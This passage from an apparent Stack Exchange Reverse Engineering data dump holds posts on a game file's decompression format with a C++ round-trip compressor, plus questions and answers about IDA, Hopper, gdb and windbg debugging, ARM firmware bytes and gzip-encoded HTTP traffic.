length and additional length set to 0.  This signifies the end of the stream, and the decompressor will return.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reasoning&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The overall format of a block is reasonably evident from the code, however didn't really make sense until I'd worked out the reasoning behind the magic numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting thing here was the special case of &lt;code&gt;distance = 0x1011D&lt;/code&gt;.&#xA;To get to the branch which checks for that distance the distance from the intial &lt;code&gt;distance = temp &amp;gt;&amp;gt; 3;&lt;/code&gt; must be greater than &lt;code&gt;0x1E&lt;/code&gt;, so it must be &lt;code&gt;0x1F&lt;/code&gt;, as no other value above &lt;code&gt;0x1E&lt;/code&gt; would fit in the top 5 bits of &lt;code&gt;temp&lt;/code&gt;.&#xA;With this information we can calculate the necessary values of the next 2 bytes (&lt;code&gt;a&lt;/code&gt;, and &lt;code&gt;b&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x1011D = 0x1F + a + (b &amp;lt;&amp;lt; 8) + 0xFF&#xA;0x1001E = 0x1F + a + (b &amp;lt;&amp;lt; 8)&#xA;0x0FFFF = a + (b &amp;lt;&amp;lt; 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; are 8 bit numbers they must necessarily both be &lt;code&gt;0xFF&lt;/code&gt;.&#xA;Thus &lt;code&gt;0x1011D&lt;/code&gt; is the largest possible value for &lt;code&gt;distance&lt;/code&gt; at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasoning for the &lt;code&gt;length--&lt;/code&gt; associated with the conditional becomes apparent: This allows for raw data blocks with no back references, for use in cases such as images or other poorly compressible data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than this, the range of numbers that the Data Length supports can be easily calculated by considering the result of setting &lt;code&gt;temp&lt;/code&gt; to &lt;code&gt;0b11111???&lt;/code&gt; and &lt;code&gt;0b11110???&lt;/code&gt; and checking the maximum and minimum values of the following two bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having understood the block header format the back reference format is fairly easy to understand, the main gotcha being that &lt;code&gt;length = 0&lt;/code&gt; with a following byte of &lt;code&gt;0&lt;/code&gt; ends the stream.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Writing a counterpart compression algorithm&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you do not need the files to fit in the same space as the original files then the easiest way to &quot;compress&quot; your own files is to ignore the actual compression features of the format, and do the bare minimum of creating maximum size data blocks until the final block, which will have a single back reference, that being the end of stream signal.  A quick implementation of this follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstring&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;vector&amp;gt;&#xA;#include &amp;lt;deque&amp;gt;&#xA;#include &amp;lt;fstream&amp;gt;&#xA;#include &amp;lt;iterator&amp;gt;&#xA;&#xA;unsigned int decompress(uint8_t *decompressed, uint8_t *compressed)&#xA;{&#xA;    uint32_t distance, length, i, j;&#xA;    uint8_t temp, *compressed_ptr = compressed,&#xA;            *decompressed_ptr = decompressed, *backwards_ptr = NULL;&#xA;&#xA;    while (1)&#xA;    {&#xA;        temp = *(compressed_ptr++);&#xA;        length = (temp &amp;amp; 7) + 1;&#xA;        distance = temp &amp;gt;&amp;gt; 3;&#xA;&#xA;        if (distance == 0x1E)&#xA;            distance = *(compressed_ptr++) + 0x1E;&#xA;        else if (distance &amp;gt; 0x1E)&#xA;        {&#xA;            distance += *compressed_ptr;&#xA;            distance += (*(++compressed_ptr) &amp;lt;&amp;lt; 8) + 0xFF;&#xA;            compressed_ptr++;&#xA;            if (distance == 0x1011D)&#xA;                length--;&#xA;        }&#xA;&#xA;        if (distance != 0)&#xA;        {&#xA;            std::memcpy(decompressed_ptr, compressed_ptr, distance);&#xA;            decompressed_ptr += distance;&#xA;            compressed_ptr += distance;&#xA;        }&#xA;&#xA;        for (i = length; i &amp;gt; 0; i--)&#xA;        {&#xA;            temp = *(compressed_ptr++);&#xA;            length = temp &amp;amp; 7;&#xA;            distance = temp &amp;gt;&amp;gt; 3;&#xA;&#xA;            if (length == 0)&#xA;            {&#xA;                length = *(compressed_ptr++);&#xA;                if (length == 0)&#xA;                {&#xA;                    return (uintptr_t)decompressed_ptr -&#xA;                        (uintptr_t)decompressed;&#xA;                }&#xA;                length += 7;&#xA;            }&#xA;&#xA;            if (distance == 0x1E)&#xA;                distance = *(compressed_ptr++) + 0x1E;&#xA;            else if (distance &amp;gt; 0x1E)&#xA;            {&#xA;                distance += *compressed_ptr;&#xA;                distance += (*(++compressed_ptr) &amp;lt;&amp;lt; 8) + 0xFF;&#xA;                compressed_ptr++;&#xA;            }&#xA;&#xA;            backwards_ptr = decompressed_ptr - distance - 1;&#xA;            for (j = length; j &amp;gt; 0; j--)&#xA;                *(decompressed_ptr++) = *(backwards_ptr++);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;std::vector&amp;lt;uint8_t&amp;gt; compress(const std::vector&amp;lt;uint8_t&amp;gt;&amp;amp; input)&#xA;{&#xA;    const uint32_t max_distance = 0x1011D;&#xA;    std::vector&amp;lt;uint8_t&amp;gt; output;&#xA;&#xA;    auto input_it = input.begin();&#xA;&#xA;    // Repeat as many max length blocks as we can&#xA;    auto remaining_input = std::distance(input_it, input.end());&#xA;    while(remaining_input &amp;gt; max_distance)&#xA;    {&#xA;        output.push_back(0xF8);&#xA;        output.push_back(0xFF);&#xA;        output.push_back(0xFF);&#xA;        std::copy(input_it, input_it + max_distance, std::back_inserter(output));&#xA;        input_it += max_distance;&#xA;&#xA;        remaining_input = std::distance(input_it, input.end());&#xA;    }&#xA;&#xA;    // Add a final block with the remaining data&#xA;    if(remaining_input &amp;gt; 0x11D)&#xA;    {&#xA;        output.push_back(0xF8);&#xA;        const uint16_t header_bytes = remaining_input - 0x11E;&#xA;        output.push_back(header_bytes &amp;amp; 0xFF);&#xA;        output.push_back(header_bytes &amp;gt;&amp;gt; 8);&#xA;        std::copy(input_it, input.end(), std::back_inserter(output));&#xA;    }&#xA;    else if(remaining_input &amp;gt; 0x1D)&#xA;    {&#xA;        output.push_back(0xF0);&#xA;        const uint8_t header_byte = remaining_input - 0x1E;&#xA;        output.push_back(header_byte);&#xA;        std::copy(input_it, input.end(), std::back_inserter(output));&#xA;    }&#xA;    else&#xA;    {&#xA;        const uint8_t header_byte = remaining_input &amp;lt;&amp;lt; 3;&#xA;        output.push_back(header_byte);&#xA;        std::copy(input_it, input.end(), std::back_inserter(output));&#xA;    }&#xA;&#xA;    // Add a special case 0 length back reference to end the stream&#xA;    output.push_back(0x00);&#xA;    output.push_back(0x00);&#xA;&#xA;    return output;&#xA;}&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    std::deque&amp;lt;std::string&amp;gt; args(argv, argv+argc);&#xA;    args.pop_front();&#xA;&#xA;    if(args.empty())&#xA;    {&#xA;        std::cerr &amp;lt;&amp;lt; &quot;No input files!&quot; &amp;lt;&amp;lt; std::endl;&#xA;        return 1;&#xA;    }&#xA;&#xA;    for(const auto&amp;amp; filename : args)&#xA;    {&#xA;        std::ifstream in_file(filename, std::ios::in | std::ios::binary);&#xA;        if(!in_file.good())&#xA;        {&#xA;            std::cerr &amp;lt;&amp;lt; &quot;Bad input file: &quot; &amp;lt;&amp;lt; filename &amp;lt;&amp;lt; std::endl;&#xA;            return 1;&#xA;        }&#xA;&#xA;        std::cout &amp;lt;&amp;lt; &quot;Compressing &quot; &amp;lt;&amp;lt; filename &amp;lt;&amp;lt; std::endl;&#xA;&#xA;        std::vector&amp;lt;uint8_t&amp;gt; input(&#xA;            (std::istreambuf_iterator&amp;lt;char&amp;gt;(in_file)),&#xA;            (std::istreambuf_iterator&amp;lt;char&amp;gt;())&#xA;        );&#xA;&#xA;        auto compressed = compress(input);&#xA;        std::cout &amp;lt;&amp;lt; &quot;Compressed from &quot; &amp;lt;&amp;lt; input.size() &amp;lt;&amp;lt; &quot; to &quot; &amp;lt;&amp;lt; compressed.size() &amp;lt;&amp;lt; std::endl;&#xA;&#xA;        const std::string new_filename = filename + &quot;.compres&quot;;&#xA;        std::ofstream out_file(new_filename);&#xA;        out_file.write((char*)compressed.data(), compressed.size());&#xA;        out_file.close();&#xA;        std::cout &amp;lt;&amp;lt; &quot;Saved as &quot; &amp;lt;&amp;lt; new_filename &amp;lt;&amp;lt; std::endl;&#xA;&#xA;        const int buffer_length = 2000000;&#xA;        uint8_t buffer[buffer_length];&#xA;&#xA;        const int size = decompress(buffer, compressed.data());&#xA;&#xA;        std::vector&amp;lt;uint8_t&amp;gt; regenerated;&#xA;        regenerated.assign(buffer, buffer + size);&#xA;&#xA;        if(regenerated == input)&#xA;            std::cout &amp;lt;&amp;lt; &quot;Regenerated file matches original.&quot; &amp;lt;&amp;lt; std::endl;&#xA;        else&#xA;            std::cout &amp;lt;&amp;lt; &quot;Regenerated file DOES NOT MATCH original!&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile: &lt;code&gt;clang++ --std=c++14 -o fake_compress fake_compress.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./fake_compress havok.xml&#xA;Compressing havok.xml&#xA;Compressed from 137261 to 137272&#xA;Saved as havok.xml.compres&#xA;Regenerated file matches original.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21157" LastActivityDate="2017-08-08T23:39:22.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16043" PostTypeId="1" CreationDate="2017-08-09T07:27:05.090" Score="1" ViewCount="828" Body="&lt;p&gt;I would like to monitor, record, specific variables in an application but I am not sure what is the right way to approach this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application is a mix of C(5%) and C++(95%) and it is relatively big, around 5 million lines of code. The target OS is CentOS 7 and my application is always compiled with debugging flags (-g3 -ggdb) and I can add/remove flags if necessary to achieve what I am looking for. In the ideal scenario I don't want to instrument the code in the main application, mainly due to the size of the app, and/or add any overhead to my application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not started implementing anything yet but I have two different approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a second program that given a variable name, this variable is declared in my main program, it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parses the debug symbol of the main program&lt;/li&gt;&#xA;&lt;li&gt;Finds the address of the variable we are interested in&lt;/li&gt;&#xA;&lt;li&gt;Somehow manages to access the virtual address space of the main application and reads the value of the variable using the address we have found in the previous step&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am still not sure about how I can handle different data types, maybe I can somehow infer the data type by parsing the main program but I am now sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the OS won't let me easily access the memory of another process, but there should be a trick. What is that trick?&#xA;Is there a more straight forward way of doing this?&#xA;What is the overhead associated with this?&#xA;Is there a way to also write into a variable?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the logic in the main application:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pass the variable name over network to the application&lt;/li&gt;&#xA;&lt;li&gt;The app reads and parses its own binary&lt;/li&gt;&#xA;&lt;li&gt;Finds the address of the variable we are interested and we are done&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The second approach is more interesting because everything is in its address space, so no trick is requuired. How ever I still have to know the type of the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure others have had similar problems but I don't know what this process is called. What should I search for to get more information? I understand this is a very general question, any pointers are highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16901" LastActivityDate="2017-10-09T20:52:32.080" Title="How to monitor specific variables in a running process?" Tags="|binary-analysis|c++|memory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16044" PostTypeId="1" AcceptedAnswerId="16053" CreationDate="2017-08-09T09:53:31.423" Score="4" ViewCount="532" Body="&lt;p&gt;I would like to understand better what is that information on &quot;graphic views&quot; at the inspector of Hopper Disassembler. I've checked the tutorial but it just skips this section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lorpp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lorpp.png&quot; alt=&quot;Entropy view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21178" LastEditorUserId="60" LastEditDate="2017-08-10T09:14:51.623" LastActivityDate="2017-08-10T09:43:09.787" Title="How does the 'graphic views' on Hopper Disassembler work?" Tags="|disassemblers|ios|hopper|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16045" PostTypeId="1" AcceptedAnswerId="16047" CreationDate="2017-08-09T15:31:12.980" Score="0" ViewCount="133" Body="&lt;p&gt;I managed to overcome certificate pinning in an android application and I am now able to view all the HTTPS request in plain text. However, I came across this request that I still do not understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K4l5J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K4l5J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see that it is a POST request with some 'junk' data at the bottom. At first, I thought this 'junk' is some form of encrypted data. However, after looking at the decompiled source code, it does not seem to use any form of encryption as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@Override&#xA;public List&amp;lt;byte[]&amp;gt; sendBatch(String serializable, List&amp;lt;byte[]&amp;gt; list) throws AmazonClientException {&#xA;    void var2_7;&#xA;    void var1_3;&#xA;    if (var2_7 == null || var2_7.isEmpty()) {&#xA;        List list2 = Collections.emptyList();&#xA;        return var1_3;&#xA;    } else {&#xA;        PutRecordBatchRequest putRecordBatchRequest = new PutRecordBatchRequest();&#xA;        putRecordBatchRequest.setDeliveryStreamName((String)((Object)serializable));&#xA;        ArrayList&amp;lt;Record&amp;gt; arrayList = new ArrayList&amp;lt;Record&amp;gt;(var2_7.size());&#xA;        for (byte[] arrby : var2_7) {&#xA;            Record record = new Record();&#xA;            record.setData(ByteBuffer.wrap(arrby));&#xA;            arrayList.add(record);&#xA;        }&#xA;        putRecordBatchRequest.setRecords(arrayList);&#xA;        putRecordBatchRequest.getRequestClientOptions().appendUserAgent(this.userAgent);&#xA;        PutRecordBatchResult putRecordBatchResult = this.client.putRecordBatch(putRecordBatchRequest);&#xA;        int n2 = putRecordBatchResult.getRequestResponses().size();&#xA;        ArrayList arrayList2 = new ArrayList(putRecordBatchResult.getFailedPutCount());&#xA;        int n3 = 0;&#xA;        do {&#xA;            ArrayList arrayList3 = arrayList2;&#xA;            if (n3 &amp;gt;= n2) return var1_3;&#xA;            if (putRecordBatchResult.getRequestResponses().get(n3).getErrorCode() != null) {&#xA;                arrayList2.add(var2_7.get(n3));&#xA;            }&#xA;            ++n3;&#xA;        } while (true);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I searched for the method putRecordBatch and came across the docs: &lt;a href=&quot;http://docs.aws.amazon.com/firehose/latest/APIReference/API_PutRecordBatch.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.aws.amazon.com/firehose/latest/APIReference/API_PutRecordBatch.html&lt;/a&gt;&#xA;and realise that the syntax is of the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;DeliveryStreamName&quot;: &quot;string&quot;,&#xA;   &quot;Records&quot;: [ &#xA;      { &#xA;         &quot;Data&quot;: blob&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I believe the 'junk' data is simply just another form of the json object above. Is there any way I can convert this junk data to a more readable form?&lt;/p&gt;&#xA;" OwnerUserId="20823" LastActivityDate="2017-08-09T16:09:39.067" Title="Need help understanding &quot;garbage&quot; data in https request" Tags="|android|java|apk|byte-code|https-protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16046" PostTypeId="1" CreationDate="2017-08-09T15:53:20.113" Score="1" ViewCount="156" Body="&lt;p&gt;I am currently learning ARM assembly by trying to reverse a broken printer. I retrieved the firmware from the on board NAND flash and I am now trying to make some sense of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I get stuck at the very beginning: the interrupt table. From documentation I read on the web, the interrupt table is a table that contains instructions (most often LDR PC instructions) that load a direct memory address into the PC. The interrupt table is a sequence of these instructions all directly next to each other (this might not be the most technical correct explanation, but that is how I understand it, please correct me if I am wrong). In the underneath table these instructions would be: &lt;code&gt;e5 9f f0 18&lt;/code&gt; which I believe is a &lt;code&gt;ldr pc, [pc, #24]&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the firmware I retrieved, after every two vectors, there is a byte with value &lt;code&gt;89&lt;/code&gt;. I do not know why it is there and what it does. I couldn't find it anything on the web that shows something similar (or I am looking for the wrong thing). What would be the function of this byte?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From how I understand it, the address 0x8e0 will be loaded into PC and the CPU will run from there, however, this means ignoring the four &lt;code&gt;89&lt;/code&gt; bytes. If the bytes should be taking into account, than the CPU would jump to &lt;code&gt;9f f0 18 89&lt;/code&gt;, but this is outside of the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the CPU is big endian and probably an Armv7, but it is an unknown Marvel chip, so I am not 100% sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the hexdump of the interrupt table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  e5 9f f0 18 e5 9f f0 18  89 e5 9f f0 18 e5 9f f0  |................|&#xA;00000010  18 89 e5 9f f0 18 e5 9f  f0 18 89 e5 9f f0 18 e5  |................|&#xA;00000020  9f f0 18 89 00 00 08 e0  00 00 00 04 ac 00 00 00  |................|&#xA;00000030  08 00 00 00 0c db 00 00  00 10 00 00 00 14 db 00  |................|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why are the four &lt;code&gt;89&lt;/code&gt; bytes there and is my assumption that the CPU will jump to &lt;code&gt;0x8e0&lt;/code&gt; correct?&lt;/p&gt;&#xA;" OwnerUserId="21180" LastActivityDate="2017-08-10T09:32:54.597" Title="Strange bytes in interrupt table" Tags="|firmware|arm|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16047" PostTypeId="2" ParentId="16045" CreationDate="2017-08-09T16:09:39.067" Score="2" Body="&lt;p&gt;The content is encoded with gzip per the &lt;code&gt;Content-encoding&lt;/code&gt; header. You can use the decoder in Burp proxy (if that is what you are currently using) to decode the data or by using for intance &lt;code&gt;gunzip&lt;/code&gt; in the Linux command line.&lt;/p&gt;&#xA;" OwnerUserId="21180" LastActivityDate="2017-08-09T16:09:39.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16049" PostTypeId="1" AcceptedAnswerId="16051" CreationDate="2017-08-10T04:17:21.003" Score="1" ViewCount="1162" Body="&lt;p&gt;A very similar (or exact) question was asked &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12204/unable-to-view-stack-and-memory-addresses-in-ida-pro&quot;&gt;here&lt;/a&gt;, though it was not answered properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mvel0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mvel0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am debugging a process in IDA and am unable to view the dynamic contents of the stack because its value points beyond the address shown in IDA's &lt;code&gt;Stack view&lt;/code&gt;. My ESP is shown as pointing to &lt;code&gt;0xFFFFD95C&lt;/code&gt; upon entry at &lt;code&gt;main&lt;/code&gt;, while the largest address shown by IDA is &lt;code&gt;0xFEFFFFFC&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to expand this memory range to the end of memory (i.e. &lt;code&gt;0xFFFFFFFF&lt;/code&gt;)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those interested, the binary under test is the &lt;code&gt;ELF Crack Me 1 - Time to learn x86 ASM &amp;amp; gdb&lt;/code&gt; challenge over at &lt;a href=&quot;http://ringzer0team.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;ringzer0team.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12885" LastEditorUserId="12885" LastEditDate="2017-08-10T04:40:18.513" LastActivityDate="2017-08-10T09:12:15.430" Title="ESP out of range of &quot;Stack View&quot; in IDA" Tags="|ida|debugging|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16050" PostTypeId="2" ParentId="2983" CreationDate="2017-08-10T09:02:45.390" Score="4" Body="&lt;p&gt;Just to add to the answers, I can tell how to get close to a clean environment despite &lt;code&gt;gdb&lt;/code&gt;. In fact, there are two methods to reach this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We can get rid of the extra environment variables added by &lt;code&gt;gdb&lt;/code&gt; as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) unset environment LINES&#xA;(gdb) unset environment COLUMNS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Write these commands before running the program, and you should be close to the normal environment. Note that you still have to take care of the &lt;code&gt;_&lt;/code&gt; variable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One can also generate a memory core of the vulnerable program and analyze it with &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; gdb vuln_program core&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should just look at the memory and never &lt;code&gt;run&lt;/code&gt;, &lt;code&gt;next&lt;/code&gt;, &lt;code&gt;step&lt;/code&gt;, ... because doing so will force you to restart the program with a fresh memory (with the shift).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That was two methods you can use with &lt;code&gt;gdb&lt;/code&gt; to follow a program without too much differences with the real execution. But, they are many others!&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-10T09:02:45.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16051" PostTypeId="2" ParentId="16049" CreationDate="2017-08-10T09:12:15.430" Score="1" Body="&lt;p&gt;It seems you're using the GDB debugger backend. It does not provide enough information to IDA about available memory ranges, about which you usually get  a warning on startup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---------------------------&#xA;Information&#xA;---------------------------&#xA;The current debugger backend (gdb) does not provide memory information to IDA.&#xA;Therefore the memory contents may be invisible by default.&#xA;Please use the Debugger/Manual memory regions menu item to configure the memory layout.&#xA;It is possible to define just one big region for the whole memory&#xA;(IDA will display question marks for missing memory regions in this case).&#xA;---------------------------&#xA;OK   &#xA;---------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So IDA defaults to 0-0xFF000000 (addresses above 0xFF000000 are used by IDA for internal netnode IDs and may lead to issues if used in actual program). So there are two solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the memory regions made by IDA (Edit-Manual memory regions...) and add  a new one covering the regions you need (e.g. 0 to 0xFFFFFFF0, or a few smaller ones).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of GDB, use IDA's own Linux debugger which can properly query the OS about available memory regions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-10T09:12:15.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16052" PostTypeId="2" ParentId="16046" CreationDate="2017-08-10T09:32:54.597" Score="1" Body="&lt;p&gt;It seems there is some bug in your dumping procedure. The first 8 bytes disassemble correctly as &lt;code&gt;LDR PC&lt;/code&gt; instructions, but then it goes all wrong. If you delete the stray &lt;code&gt;89&lt;/code&gt; bytes then they line up correctly again.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-10T09:32:54.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16053" PostTypeId="2" ParentId="16044" CreationDate="2017-08-10T09:43:09.787" Score="1" Body="&lt;p&gt;This seems to be a &lt;a href=&quot;https://en.wikipedia.org/wiki/Hilbert_curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hilbert curve&lt;/a&gt; representation of the binary's entropy values (probably each pixel is averaged over some small byte range). It was likely inspired by this work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://corte.si/posts/visualisation/binvis/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://corte.si/posts/visualisation/binvis/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-10T09:43:09.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16055" PostTypeId="1" AcceptedAnswerId="16095" CreationDate="2017-08-10T15:17:31.277" Score="8" ViewCount="4991" Body="&lt;p&gt;I am trying to write an IDAPython script that will return a list of references to a local stack-frame variable. However, I couldn't find any API that does so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to achieve is a code like:&#xA;&lt;code&gt;xrefs = get_variable_references('arg_4')&lt;/code&gt; that will return the results corresponding with the GUI's results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TB4B7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TB4B7.png&quot; alt=&quot;GUI&amp;#39;s results&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="17202" LastActivityDate="2017-10-17T11:00:08.827" Title="idapython - Get Xrefs to a stack variable" Tags="|ida|disassembly|idapython|disassemblers|idapro-sdk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16057" PostTypeId="2" ParentId="16043" CreationDate="2017-08-10T18:19:48.197" Score="1" Body="&lt;p&gt;well if you can use a debugger then you can employ a variety of monitoring techniques.&lt;br&gt;&#xA;The example below is for a windows app being debugged by windbg.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but gdb is equally versatile and you should be able to adapt GDB to do what is being done here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;calc is windows calculator it can work in the following radix &lt;strong&gt;hex, dec, oct and bin&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it stores the radix in a global variable named &lt;strong&gt;g_nRadix&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:004&amp;gt; x /v calc!g_nRadix&#xA;pub global 00524058             0 calc!g_nRadix = &amp;lt;no type information&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now assume i want to monitor this variable and log when it is written to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can write a small txt file that contains a few commands and run it on starting the app with windbg as below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the txt file that contains the debugger commands (aka script file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat monvar.txt&#xA;g @$exentry&#xA;ba w 4 calc!g_nRadix &quot;.echotime;dd calc!g_nRadix l1;gc&quot;&#xA;g&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;data breakpoints are context specific so i execute until Address Of Entry Point (similar to _start function in linux app)  first line g @$exentry    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i am at the the entry point i set a write data breakpoint on this variable and run the executable  second and third line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i start the app inside the debugger as shown in the title of command prompt in the screens shot below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when ever i change the radix in the gui&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the debugger will print a time stamp and the content of the variable i am monitoring and keep running &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mB3yP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img 